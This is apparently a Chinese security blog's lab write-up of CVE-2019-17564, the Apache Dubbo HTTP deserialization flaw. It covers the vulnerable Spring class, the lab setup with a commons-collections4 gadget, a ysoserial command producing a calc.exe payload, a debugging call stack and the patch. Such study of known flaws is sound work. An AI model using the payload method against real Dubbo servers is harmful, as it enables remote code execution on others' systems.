0x00 前言
学习Dubbo历史洞。
0x01 漏洞原理
Apache Dubbo在使用HTTP协议进行通信时,是直接使用了Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
类做远程调用的,而这个过程会读取POST请求的Body内容并进行反序列化操作,从而导致反序列化漏洞的存在进而RCE。
0x02 影响版本
- Apache Dubbo 2.7.0 to 2.7.4;
- Apache Dubbo 2.6.0 to 2.6.7;
- Apache Dubbo all 2.5.x;
0x03 环境搭建
十分方便的环境搭建可参考Vulhub:https://github.com/vulhub/vulhub/tree/master/dubbo/CVE-2019-17564
这里采用本地搭建的方式。
下载dubbo-samples项目中的dubbo-samples-http子项目:https://github.com/apache/dubbo-samples
当前下载的项目Dubbo版本是2.7.7,直接修改pom中的dubbo.version
为漏洞版本是会引起maven错误的,直接在dubbo对应的dependency标签中的添加<version>2.7.3</version>
即可:
接着,因为默认项目中是没有已知的可利用Gadget的,需要在pom中添加CC链依赖:
1 2 3 4 5
| <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections4</artifactId> <version>4.0</version> </dependency>
|
下载zookeeper到本地,运行服务端,默认监听地址0.0.0.0:2181
。
然后运行即可。如果显示http端口被占用,在http-provider.xml中修改一下监听的端口号即可:
1
| <dubbo:protocol name="http" id="http" port="${servlet.port:8081}" server="${servlet.container:tomcat}"/>
|
正常跑起来,其中会显示Dubbo Provider注册到Register中的HTTP服务名:
0x04 漏洞复现
一般攻击者是需要通过向Register查询才知道Dubbo Provider对外提供了哪些接口服务的。
这里用zookeeper的客户端直接连接查询:
1
| zkCli.cmd -server 127.0.0.1:2181
|
获取到Dubbo Provider对外接口为:
1
| org.apache.dubbo.samples.http.api.DemoService
|
使用ysoserial工具生成CC4链的payload:
1
| java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections4 "calc.exe" > dubbo.poc
|
将payload POST到Dubbo Provider目标接口即可触发漏洞:
0x05 调试分析
根据前面的报错栈信息,在HttpInvokerServiceExporter类的readRemoteInvocation()函数中打上断点直接调试。
首先HttpServlet在处理请求分发时会调用到org/apache/dubbo/remoting/http/servlet/DispatcherServlet类的service()函数,其中会尝试获取HttpHandler,若handler对象为null即找不到目标服务时就会返回404,反之进一步调用handler对象的handle()函数来处理请求:
跟进,获取URI后,然后Dubbo是使用spring-web中的HttpInvokerServiceExporter类对象skeleton来获取对应的,判断如果请求方式不是POST则直接响应500,是的话则直接设置RPC远程服务地址,然后调用HttpInvokerServiceExporter类对象skeleton的handleRequest()函数进一步处理请求,这里Content-Type为application/x-java-serialized-object
即Java序列化数据类型:
往下,就进入到Spring框架的HttpInvokerServiceExporter类的handleRequest()函数中,然后调用到doReadRemoteInvocation()函数,其中调用readObject()函数对POST内容进行Java原生反序列化操作:
再往下就是Java原生反序列化触发CC4链的过程:
此时函数调用栈:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43
| transform:124, InstantiateTransformer (org.apache.commons.collections4.functors) transform:32, InstantiateTransformer (org.apache.commons.collections4.functors) transform:112, ChainedTransformer (org.apache.commons.collections4.functors) compare:81, TransformingComparator (org.apache.commons.collections4.comparators) siftDownUsingComparator:722, PriorityQueue (java.util) siftDown:688, PriorityQueue (java.util) heapify:737, PriorityQueue (java.util) readObject:797, PriorityQueue (java.util) invoke0:-1, NativeMethodAccessorImpl (sun.reflect) invoke:62, NativeMethodAccessorImpl (sun.reflect) invoke:43, DelegatingMethodAccessorImpl (sun.reflect) invoke:498, Method (java.lang.reflect) invokeReadObject:1185, ObjectStreamClass (java.io) readSerialData:2234, ObjectInputStream (java.io) readOrdinaryObject:2125, ObjectInputStream (java.io) readObject0:1624, ObjectInputStream (java.io) readObject:464, ObjectInputStream (java.io) readObject:422, ObjectInputStream (java.io) doReadRemoteInvocation:144, RemoteInvocationSerializingExporter (org.springframework.remoting.rmi) readRemoteInvocation:121, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) readRemoteInvocation:100, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) handleRequest:79, HttpInvokerServiceExporter (org.springframework.remoting.httpinvoker) handle:216, HttpProtocol$InternalHandler (org.apache.dubbo.rpc.protocol.http) service:61, DispatcherServlet (org.apache.dubbo.remoting.http.servlet) service:790, HttpServlet (javax.servlet.http) internalDoFilter:231, ApplicationFilterChain (org.apache.catalina.core) doFilter:166, ApplicationFilterChain (org.apache.catalina.core) invoke:198, StandardWrapperValve (org.apache.catalina.core) invoke:96, StandardContextValve (org.apache.catalina.core) invoke:496, AuthenticatorBase (org.apache.catalina.authenticator) invoke:140, StandardHostValve (org.apache.catalina.core) invoke:81, ErrorReportValve (org.apache.catalina.valves) invoke:87, StandardEngineValve (org.apache.catalina.core) service:342, CoyoteAdapter (org.apache.catalina.connector) service:803, Http11Processor (org.apache.coyote.http11) process:66, AbstractProcessorLight (org.apache.coyote) process:790, AbstractProtocol$ConnectionHandler (org.apache.coyote) doRun:1468, NioEndpoint$SocketProcessor (org.apache.tomcat.util.net) run:49, SocketProcessorBase (org.apache.tomcat.util.net) runWorker:1149, ThreadPoolExecutor (java.util.concurrent) run:624, ThreadPoolExecutor$Worker (java.util.concurrent) run:61, TaskThread$WrappingRunnable (org.apache.tomcat.util.threads) run:748, Thread (java.lang)
|
Spring框架官方也有在文档中提到可能存在Java反序列化漏洞:https://docs.spring.io/spring-framework/docs/5.1.0.RELEASE/spring-framework-reference/integration.html#remoting-httpinvoker
0x06 补丁分析
官方在后续版本中是将Spring框架的org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter
类替换成了com\googlecode\jsonrpc4j\JsonRpcServer
类进行处理。
这里换个2.7.5版本测试。由于JsonRpcServer.handle()中无法处理Java序列化数据,因此是不存在类似Spring的HttpInvokerServiceExporter类中的反序列化漏洞的:
正常报文看下,通信的数据类型变成JSON格式了:
0x07 参考
Apache Dubbo反序列化漏洞(CVE-2019-17564)